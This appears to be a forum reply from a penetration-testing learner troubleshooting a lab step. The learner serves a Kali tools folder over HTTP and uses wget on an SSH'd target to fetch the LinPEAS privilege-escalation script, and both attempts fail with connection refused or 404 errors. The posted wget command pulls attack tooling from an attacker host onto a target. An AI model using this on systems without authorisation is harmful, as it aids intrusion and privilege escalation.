Hi Steven.
Thanks a lot.
The steps below:
cd /home/kali/Desktop/Tools/Linux
python3 -m http.server
##Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
accesible through firefox localhost:8000 (I can see the folders LinPEAS/ (where the linpeas.sh is), LinuxPrivChecker/, LinuxSmartEnumeration/, pspy/)
in a another terminal different from the one above:
ssh into the target
wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh (the linpeas.sh is here ~/Desktop/Tools/Linux/LinPEAS)
wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh
this is the message received: Connecting to 10.102.108.246:8000... failed: Connection refused.
another try but the webserver directly from /home/kali/Desktop/Tools/Linux/LinPEAS
and this is the message received:
Connecting to 10.102.133.11:8000... connected.
HTTP request sent, awaiting response... 404 File not found
2024-11-27 09:53:45 ERROR 404: File not found.